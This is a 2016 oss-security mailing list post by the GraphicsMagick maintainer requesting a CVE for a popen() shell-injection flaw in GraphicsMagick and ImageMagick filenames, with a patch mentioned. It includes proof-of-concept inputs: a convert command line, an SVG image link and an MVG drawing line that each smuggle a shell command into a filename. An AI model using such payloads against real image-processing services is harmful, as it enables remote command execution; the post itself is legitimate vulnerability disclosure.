oss-security - CVE Request: GraphicsMagick and ImageMagick popen() shell vulnerability via filename

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Sun, 29 May 2016 15:03:10 -0500 (CDT)
From: Bob Friesenhahn <bfriesen@...ple.dallas.tx.us>
To: oss security list <oss-security@...ts.openwall.com>
Subject: CVE Request: GraphicsMagick and ImageMagick popen() shell vulnerability
 via filename

All existing releases of GraphicsMagick and ImageMagick support a file
open syntax where if the first character of the file specification is
a '|', then the remainder of the filename is passed to the shell for
execution using the POSIX popen(3C) function.  File opening is handled
by an OpenBlob() function in the source file blob.c.  Unlike the
vulnerability described by CVE-2016-3714, this functionality is
supported by the core file opening function rather than a delegates
subsystem usually used to execute external programs.

The funtionality can be demonstrated as follows:

   % rm -f hello.txt
   % convert '|echo Hello > hello.txt;' null:
   % ls hello.txt
   hello.txt

The same weakness in the native SVG readers may be used to provoke
this problem.  This example returns a valid image given a known file 
(but an actual file is not necessary):

   <?xml version="1.0" standalone="no"?>
   <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
   "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
   <svg width="4in" height="3in" version="1.1"
   xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
   <desc>Illustrates how a shell command may be embedded in a SVG.
   </desc>
   <image x="200" y="200" width="100px" height="100px"
   xlink:href="|echo Hello > hello.txt; cat /usr/lib/firefox/browser/icons/mozicon128.png">
   <title>My image</title>
   </image>
   </svg>

Or in MVG:

   push graphic-context
   viewbox 0 0 640 480
   image copy 200,200 100,100 "|echo Hello > hello.txt; cat /usr/lib/firefox/browser/icons/mozicon128.png"
   pop graphic-context

Previously supplied recommended patches for GraphicsMagick do 
successfully block this attack vector in SVG and MVG.

It is highly likely that there are many paths leading to a suitable 
filename which may be executed outside of SVG and MVG since the 
software is quite complex and powerful.  The examples above are not 
meant to suggest that other avenues to the same weakness are not 
available.

The simple solution to the problem is to disable the popen support 
(HAVE_POPEN) in GraphicsMagick's magick/blob.c as is done by the 
attached patch.

This issue was discovered by Bob Friesenhahn, of the GraphicsMagick
project.

Bob
-- 
Bob Friesenhahn
bfriesen@...ple.dallas.tx.us, http://www.simplesystems.org/users/bfriesen/
GraphicsMagick Maintainer,    http://www.GraphicsMagick.org/
View attachment "disable-popen-filename.patch" of type "text/plain" (254 bytes)

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.